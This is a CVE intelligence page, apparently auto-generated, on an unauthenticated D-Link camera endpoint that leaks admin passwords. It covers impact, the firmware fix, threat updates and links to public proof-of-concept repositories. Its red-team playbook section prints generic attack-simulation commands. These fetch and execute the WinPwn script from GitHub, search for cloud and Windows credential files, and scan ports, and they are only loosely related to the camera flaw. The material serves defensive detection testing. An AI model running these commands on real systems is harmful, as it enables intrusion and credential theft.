CVE-2020-25078
Overview
This vulnerability is an information disclosure flaw caused by improper access control on the /config/getuser HTTP endpoint in certain D-Link camera firmware versions. The endpoint does not require authentication, allowing unauthenticated remote requests to retrieve sensitive configuration data. The affected component is the web management interface of specific D-Link camera models' firmware, which exposes administrator credentials through this unsecured API path.
Vulnerability Description
An issue was discovered on D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices. The unauthenticated /config/getuser endpoint allows for remote administrator password disclosure.
Impact
An attacker can remotely retrieve the administrator password of the affected D-Link cameras without any authentication or user interaction. This unauthorized disclosure enables full administrative access to the device, allowing the attacker to control camera functions, modify settings, and potentially pivot within the network. The exposure of credentials compromises device confidentiality and integrity, increasing the risk of surveillance, data exfiltration, or further network exploitation.
Solution
D-Link has released firmware updates addressing this vulnerability, including version 1.06.01 Hotfix for the DCS-2530L and version 2.02 or later for the DCS-2670L. Users should apply these specific firmware updates to affected devices as detailed in the vendor advisory (SAP10180) available at https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180. No alternative workarounds were provided; updating firmware is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in certain D-Link camera firmware versions arises from an unauthenticated endpoint that exposes sensitive user information, specifically the administrator password. This flaw is particularly concerning as it allows attackers to access the /config/getuser endpoint without any form of authentication. The lack of proper access controls means that an attacker can remotely retrieve the administrator password, which can lead to unauthorized access to the device and potentially the broader network it is connected to. The affected models include DCS-2530L and DCS-2670L, among others, which are widely used in various environments, including residential and small business settings.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage this weakness by sending a crafted HTTP request to the vulnerable endpoint. Given that no authentication is required, the attacker can easily obtain the administrator credentials. Once the password is disclosed, the attacker can gain full control over the device, allowing them to manipulate settings, view live feeds, or even disable security features. Furthermore, if the compromised camera is part of a larger network, the attacker could pivot to other devices, escalating their access and potentially leading to more severe breaches.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on these cameras for security monitoring. Unauthorized access to surveillance systems can lead to privacy violations, data breaches, and loss of sensitive information. For businesses, the repercussions can include financial losses, reputational damage, and legal liabilities, especially if personal data of customers or employees is compromised. Additionally, the exploitation of such vulnerabilities can lead to broader network attacks, where compromised devices become entry points for further infiltration into corporate networks.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating firmware to the latest versions is crucial, as manufacturers often release patches to address known vulnerabilities. Network segmentation can also be employed to isolate IoT devices from critical systems, reducing the risk of lateral movement in case of a breach. Monitoring network traffic for unusual patterns or unauthorized access attempts can help in early detection of exploitation attempts. Furthermore, employing strong, unique passwords and enabling two-factor authentication where possible can significantly enhance the security posture of these devices.
In conclusion, the vulnerability present in specific D-Link camera firmware versions poses a serious threat to both individual users and organizations. The ease of exploitation combined with the potential for significant real-world impact necessitates immediate attention from users and administrators. By adopting proactive security measures, including regular updates, network segmentation, and robust authentication practices, the risks associated with this vulnerability can be effectively managed. Continuous vigilance and a commitment to cybersecurity best practices are essential in safeguarding against such vulnerabilities in the ever-evolving landscape of digital threats.
Recent developments in the CVE-2020-25078 vulnerability landscape indicate a marked escalation in exploit availability and recognition by authoritative cybersecurity entities. CSURFACE threat intelligence has identified the emergence of publicly accessible proof-of-concept exploit scripts on prominent code-sharing platforms, facilitating easier weaponization of the vulnerability. Concurrently, this vulnerability has been formally incorporated into the CISA Known Exploited Vulnerabilities (KEV) catalog, underscoring its operational relevance and elevating its priority for remediation efforts. Our telemetry further confirms a significant increase in the Exploit Prediction Scoring System (EPSS) value, reflecting a heightened likelihood of exploitation in the wild. These changes collectively amplify the threat level from theoretical to actively exploitable, demanding increased vigilance from defenders. The availability of automated exploitation tools lowers the barrier for adversaries, potentially expanding the attacker base beyond sophisticated actors to include less skilled opportunists. While ransomware usage linked to this vulnerability remains unconfirmed, the enhanced exploitability and official recognition suggest an elevated risk of integration into broader attack campaigns. This shift necessitates a reassessment of organizational exposure and prioritization within vulnerability management programs.
Update 2 — May 21, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2020-25078, accompanied by the emergence of new proof-of-concept tools that automate credential extraction from vulnerable D-Link devices. Our telemetry indicates that these developments have lowered the technical barrier for adversaries, enabling a broader range of threat actors—including less sophisticated opportunists—to leverage this vulnerability. Although ransomware activity linked to this flaw remains unconfirmed, the increased availability and sophistication of exploitation frameworks suggest a heightened risk of integration into multi-stage attack campaigns. This evolution elevates the threat level from theoretical to actively exploitable, underscoring the necessity for defenders to reassess exposure and prioritize monitoring for related indicators of compromise.
Update 3 — June 07, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2020-25078, reflected by a notable increase in detection activity across our sensors. This surge coincides with the continued availability and refinement of publicly accessible proof-of-concept exploit scripts, which have lowered the technical barrier for adversaries to extract administrator credentials from vulnerable D-Link devices. Although ransomware campaigns directly leveraging this vulnerability remain unconfirmed, the heightened exploitation activity signals an increased likelihood of integration into broader attack chains, potentially facilitating lateral movement or initial access in multi-stage intrusions. Consequently, the threat level associated with CVE-2020-25078 has shifted from a primarily theoretical concern to a more imminent operational risk, warranting heightened vigilance and prioritization in monitoring efforts.
Update 4 — June 19, 2026
CSURFACE threat intelligence has detected a slight increase in exploitation attempts targeting CVE-2020-25078, accompanied by a modest rise in the EPSS score, indicating growing attacker interest and potential for successful compromise. This uptick, while not yet a marked escalation, reflects a trend toward more frequent scanning and exploitation efforts against vulnerable D-Link DCS-2530L and DCS-2670L devices. Concurrently, new proof-of-concept exploit scripts have surfaced on public repositories, lowering the technical barrier for adversaries to leverage this vulnerability at scale. Although ransomware groups have not been definitively linked to this vulnerability’s exploitation, the enhanced activity and expanding availability of exploit tools elevate the risk of integration into multi-stage intrusion campaigns. For defenders, this evolving landscape underscores the necessity to maintain heightened monitoring and threat detection focused on this vector. The threat level for CVE-2020-25078 has accordingly shifted toward a more imminent operational concern, warranting closer attention within vulnerability management and incident response workflows.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dcs-4603 Firmware | All |
cpe:2.3:o:dlink:dcs-4603_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4622 Firmware | All |
cpe:2.3:o:dlink:dcs-4622_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4701e Firmware | All |
cpe:2.3:o:dlink:dcs-4701e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4703e Firmware | All |
cpe:2.3:o:dlink:dcs-4703e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4705e Firmware | All |
cpe:2.3:o:dlink:dcs-4705e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-4802e Firmware | All |
cpe:2.3:o:dlink:dcs-4802e_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-P703 Firmware | All |
cpe:2.3:o:dlink:dcs-p703_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-2530l Firmware | All |
cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
|
|
|
Dlink | Dcs-2670l Firmware | All |
cpe:2.3:o:dlink:dcs-2670l_firmware:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
MzzdToT/CVE-2020-25078
D-Link DCS系列账号密码信息泄露漏洞,通过脚本获取账号密码,可批量。
|
MzzdToT | 4 | 3 | 2021-03-30 | View |
|
flags-alt/abyss-c2
ABYSS C2 — HiSilicon DVR Exploit Framework (CVE-2020-25078). Educational IoT security research platform.
|
flags-alt | 1 | 1 | 2026-05-20 | View |
|
chinaYozz/CVE-2020-25078
CVE-2020-25078账号密码信息泄露批量脚本Batch script of D-Link DCS series camera account password information disclosure
|
chinaYozz | 0 | 0 | 2021-10-15 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-25078 |
| supportannouncement.us.dlink.com |
GitHub CVE
x_refsource_MISC
|
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180 |
| twitter.com |
GitHub CVE
x_refsource_MISC
|
https://twitter.com/Dogonsecurity/status/1273251236167516161 |
| support.dlink.com |
NVD API
Product
|
https://support.dlink.com/productinfo.aspx?m=DCS-2530L |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-25078 |